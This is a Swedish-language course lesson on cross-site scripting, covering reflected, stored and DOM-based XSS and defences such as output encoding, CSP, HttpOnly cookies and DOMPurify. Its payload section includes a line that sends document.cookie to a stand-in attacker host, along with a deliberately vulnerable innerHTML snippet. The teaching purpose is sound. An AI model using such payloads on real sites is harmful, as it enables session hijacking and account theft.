Cross-Site Scripting (XSS)
Utforska reflekterad, lagrad och DOM-baserad XSS med verkliga payloads och CSP-motåtgärder.
Cross-Site Scripting (XSS) är en gratis lektion i Cyber Security Academy på CoddyKit. Detta är lektion 2 av 4. Du kan läsa vilka 3 lektioner som helst i den här lärvägen kostnadsfritt i sin helhet – därefter låser CoddyKit PRO upp alla lektioner, plus praktisk övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Den ingår i lärvägen för Cyber Security Academy, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i Cyber Security Academy innehåller totalt 4 lektioner.
Vad är XSS?
Cross-Site Scripting (XSS) inträffar när en angripare injicerar skadlig JavaScript-kod i en webbsida som visas av andra användare. Webbläsaren kör skriptet i offrets session, vilket möjliggör stöld av cookies, tangentbordsloggning och manipulering av sidan.
Reflekterad XSS
Reflekterad XSS (icke-beständig): det skadliga skriptet inkluderas i begäran (till exempel som en URL-parameter) och reflekteras i svaret. Offret måste klicka på en specialskapad länk. Exempel: https://site.com/search?q=<script>alert(1)</script>
Lagrad XSS
Lagrad XSS (beständig): det skadliga skriptet sparas i databasen (till exempel i en kommentar eller ett profilfält) och skickas till varje besökare. Farligare än reflekterad XSS eftersom ingen särskild länk behövs – varje sidvisning utlöser skriptet.
DOM-baserad XSS
DOM-baserad XSS inträffar när JavaScript läser angriparkontrollerade data (URL-hash eller frågeparameter) och skriver dem till DOM utan sanering. Angreppet sker helt på klientsidan; servern ser aldrig payloaden.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>XSS-konsekvenser
Det här kan en angripare göra med XSS:
- Stjäla sessionscookies (
document.cookie) → ta över kontot - Logga tangenttryckningar (stjäla lösenord medan de skrivs)
- Omdirigera till nätfiskesidor
- Utföra åtgärder som offret (CSRF via XSS)
- Förvanska sidan
XSS-payloader
Enkla testpayloader:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Kodning av utdata
Det främsta skyddet är att koda all användarkontrollerad utdata innan den infogas i HTML. Konvertera specialtecken till HTML-entiteter: < → <, > → >, " → ".
Använd kodning som är anpassad till sammanhanget: HTML, JS, URL och CSS.
Content Security Policy (CSP)
CSP är en svarsrubrik som talar om för webbläsaren vilka skript som får köras. En strikt CSP blockerar infogade skript och begränsar källorna:
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsHttpOnly-cookies
Om du ställer in flaggan HttpOnly på sessionscookies förhindras JavaScript från att läsa dem via document.cookie. Även om XSS utlöses kan angriparen inte stjäla sessionstokenen. Detta är det viktigaste skyddslagret tillsammans med kodning av utdata.
Saneringsbibliotek
När användare måste tillåtas mata in HTML (till exempel i avancerade textredigerare) ska du använda ett saneringsbibliotek i stället för att skriva ett eget:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
Testning av XSS
Testa efter XSS med webbläsarens utvecklarverktyg, Burp Suite eller automatiserade skannrar. Kontrollera alla fält för användarinmatning, URL-parametrar, HTTP-headers och DOM-sink-funktioner: innerHTML, document.write, eval och setTimeout med strängargument.
Snabbtest: XSS
Vilken XSS-typ lagrar den skadliga payloaden i databasen, så att den körs för varje besökare på den berörda sidan?
Lektionens sammanfattning
XSS injicerar JavaScript i sidor som visas av offer. Typerna är reflekterad XSS (URL-baserad), lagrad XSS (sparad i databasen) och DOM-baserad XSS (på klientsidan). De främsta skydden är kodning av utdata, HttpOnly-cookies och Content Security Policy. Använd DOMPurify för HTML-sanering. Infoga aldrig osanerade användardata i innerHTML eller eval().
Lär dig Cyber Security Academy med en AI-lärare – gratis
Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.
- Kurser
- 76
- Lektioner
- 303
Vanliga frågor
Är lektionen ”Cross-Site Scripting (XSS)” gratis?
Ja – du kan läsa vilka 3 lektioner som helst i lärvägen Cyber Security Academy, inklusive ”Cross-Site Scripting (XSS)”, kostnadsfritt i sin helhet här på webben. Därefter låser CoddyKit PRO upp alla lektioner, plus interaktiv övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Kursen i Cyber Security Academy innehåller totalt 4 lektioner.
Vad lär jag mig i ”Cross-Site Scripting (XSS)”?
Utforska reflekterad, lagrad och DOM-baserad XSS med verkliga payloads och CSP-motåtgärder. Ni övar på Cyber Security Academy med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.
Behöver jag någon erfarenhet för att börja lära mig Cyber Security Academy?
Du behöver inga förkunskaper. Utbildningen i Cyber Security Academy på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 2 av 4.
Hur lång tid tar lektionen ”Cross-Site Scripting (XSS)”?
De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.
Kan jag skriva och köra kod i den här Cyber Security Academy-lektionen?
Ja. Varje Cyber Security Academy-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.
Alla lektioner i den här kursen
- SQL-injektion: hur och varför det fungerar
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Felkonfigurationer och exponerade tjänster